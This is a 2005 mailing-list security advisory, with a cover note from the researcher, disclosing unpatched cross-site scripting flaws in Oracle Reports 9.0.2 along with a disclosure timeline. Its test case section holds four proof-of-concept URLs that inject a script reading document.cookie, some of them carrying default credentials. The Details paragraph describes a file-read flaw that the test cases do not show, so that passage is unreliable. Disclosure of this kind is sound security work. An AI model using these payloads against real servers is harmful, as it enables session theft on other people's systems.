Date: Tue Jul 19 13:49:00 2005
From: ak at red-database-security.com (Kornbrust, Alexander)
Subject: Oracle Advisory: Various Cross-Site-Scripting
	Vulnerabilities in Oracle Reports

Hello

3 months ago (15-april-2005) I informed the Oracle Security Team
(secalert_us@...cle.com) that I will publish bug details if the bugs are
not fixed with the next critical patch update (CPU July 2005). I know
that Oracle products are complex and a good patch quality need some
time. That's why I offered Oracle additional time if 3 months are not
sufficient for fixing the bugs. Oracle never asked for more time.

Oracle's behaviour not fixing critical security bugs for a long time
(over 650 days) is not acceptable for their customers. Oracle put their
customers in danger. At least one critical vulnerability can be abused
from any attacker via internet.

I decided to publish these vulnerabilities because it is possible to
mitigate the risk of these vulnerabilities by using the workarounds
provided in the advisories.


Kind Regards

 Alexander Kornbrust

 www.red-database-security.com

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Red-Database-Security GmbH  - Oracle Security Advisory

Various Cross-Site-Scripting Vulnerabilities in Oracle Reports


 Name                Various Cross-Site-Scripting Vulnerabilities in
Oracle
                     Reports
 Systems Affected    Oracle Reports 9.0.2
 Severity            Low Risk 
 Category            Cross Site Scripting (CSS/XSS)
 Vendor URL          http://www.oracle.com 
 Author              Alexander Kornbrust (ak at
red-database-security.com) 
 Date                19 July 2005 (V 1.00) 
 Inital bug report   693 days ago
 Advisory-URL
http://www.red-database-security.com/advisory/oracle_reports_various_css
.html


Details
#######
Oracle Reports is Oracle's award-winning, high-fidelity enterprise
reporting
tool. It enables businesses to give immediate access to information to
all
levels within and outside of the organization in an unrivaled scalable
and
secure environment. Oracle Reports, a component of the Oracle
Application
Server, is used by Oracle itself for the E-Business Suite. Many large
customers are using Oracle Reports as reporting tool for their
enterprise applications.

The Oracle Reports parameter customize can read any file by using an
absolute or relative file name.
Parts of the file content are displayed in the Reports error message
(see test case).




Testcase
########
http://myserver:7778/reports/rwservlet/showenv?server=reptest&debug=<scr
ipt>alert(document.cookie);</script>

http://myserver:7778/reports/rwservlet/parsequery?server=myserver&test=<
script>alert(document.cookie);</script>

http://myserver:7778/reports/rwservlet?server=myserver+report=test.rdf+u
serid=scott/tiger@...db+destype=localFile+desformat=delimited+desname=FI
LE:+CELLWRAPPER=*+delimiter=<script>alert(document.cookie);</script>

http://myserver:7778/reports/rwservlet?server=myserver+report=test.rdf+u
serid=scott/tiger@...db+destype=localFile+desformat=delimited+desname=FI
LE:+CELLWRAPPER=<script>alert(document.cookie);</script>



Affected systems
################
Tested with Oracle Reports 9.0.2 + patchset 2. Not tested with newer
version. I never got an email / credits that Oracle fixed these issues
in later versions.



Patch Information
#################
This bug is NOT FIXED with Critical Patch Update July 2005 (CPU July
2005). It seems that Oracle is NOT INTERESTED to fix this issue and
provide patches for this issue.
If you think you need a patch to protect your Oracle Application Server
you
should contact Oracle.



History
#######
31-jul-2003 Oracle secalert was informed

31-jul-2003 Bug confirmed

18-aug-2003 Oracle secalert was informed about an additional CSS bug

18-aug-2003 Bug confirmed

23-aug-2003 Oracle secalert was informed about additional CSS bugs

23-aug-2003 Bug confirmed

15-apr-2005 Red-Database-Security informed Oracle secalert that this
vulnerability will publish after CPU July 2005 Red-Database-Security
offered 
Oracle more time if it is not possible to provide a fix ==> NO FEEDBACK.

12-jul-2005 Oracle published CPU July 2005 without fixing this issue

19-jul-2005 Red-Database-Security published this advisory




(c) 2005 by Red-Database-Security GmbH - last update 19-july-2005

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